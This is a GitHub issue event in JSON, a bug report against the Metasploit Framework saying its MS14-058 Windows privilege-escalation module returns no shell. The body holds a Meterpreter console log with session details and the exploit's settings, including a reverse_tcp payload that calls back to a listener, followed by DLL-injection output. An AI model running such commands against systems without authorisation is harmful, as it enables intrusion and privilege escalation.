{"action":"opened","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4735","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4735/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4735/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4735/events","html_url":"https://github.com/rapid7/metasploit-framework/issues/4735","id":56982991,"number":4735,"title":"Windows privilege escalation exploit (exploit/windows/local/ms14_058_track_popup_menu) not working","user":{"login":"DrDinosaur","id":4646697,"avatar_url":"https://avatars.githubusercontent.com/u/4646697?v=3","gravatar_id":"","url":"https://api.github.com/users/DrDinosaur","html_url":"https://github.com/DrDinosaur","followers_url":"https://api.github.com/users/DrDinosaur/followers","following_url":"https://api.github.com/users/DrDinosaur/following{/other_user}","gists_url":"https://api.github.com/users/DrDinosaur/gists{/gist_id}","starred_url":"https://api.github.com/users/DrDinosaur/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DrDinosaur/subscriptions","organizations_url":"https://api.github.com/users/DrDinosaur/orgs","repos_url":"https://api.github.com/users/DrDinosaur/repos","events_url":"https://api.github.com/users/DrDinosaur/events{/privacy}","received_events_url":"https://api.github.com/users/DrDinosaur/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":0,"created_at":"2015-02-09T02:53:48Z","updated_at":"2015-02-09T02:53:48Z","closed_at":null,"body":"Hi, I'm having troubles with exploit/windows/local/ms14_058_track_popup_menu. \r\n\r\nHere is some info:\r\nmeterpreter > sysinfo\r\nComputer        : WORKSTATION1\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x64\r\nSystem Language : en_US\r\nMeterpreter     : x64/win64\r\nmeterpreter > getuid\r\nServer username: CONTOSO\\allenbrewer\r\nmeterpreter > getsystem\r\n[-] priv_elevate_getsystem: Operation failed: The environment is incorrect.\r\n\r\nmsf > use exploit/windows/local/ms14_058_track_popup_menu\r\nmsf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100\r\nLHOST => 192.168.1.100\r\nmsf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true\r\nDisablePayloadHandler => true\r\nmsf exploit(ms14_058_track_popup_menu) > set LPORT 28746\r\nLPORT => 28746\r\nmsf exploit(ms14_058_track_popup_menu) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\r\nPAYLOAD => windows/x64/meterpreter/reverse_tcp\r\nmsf exploit(ms14_058_track_popup_menu) > set TARGET 1\r\nTARGET => 1\r\nmsf exploit(ms14_058_track_popup_menu) > set SESSION 3\r\nSESSION => 3\r\nmsf exploit(ms14_058_track_popup_menu) > set ExitOnSession false\r\nExitOnSession => false\r\nmsf exploit(ms14_058_track_popup_menu) > exploit -j\r\n[*] Exploit running as background job.\r\n[*] Launching notepad to host the exploit...\r\n[+] Process 2268 launched.\r\n[*] Reflectively injecting the exploit DLL into 2268...\r\n[*] Injecting exploit into 2268...\r\n[*] Exploit injected. Injecting payload into 2268...\r\n[*] Payload injected. Executing exploit...\r\n[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.\r\n[nothing (no shell) comes back]\r\n\r\nThe win32k.sys product version on the target machine is 6.1.7601.17514. \r\n\r\n@OJ "}}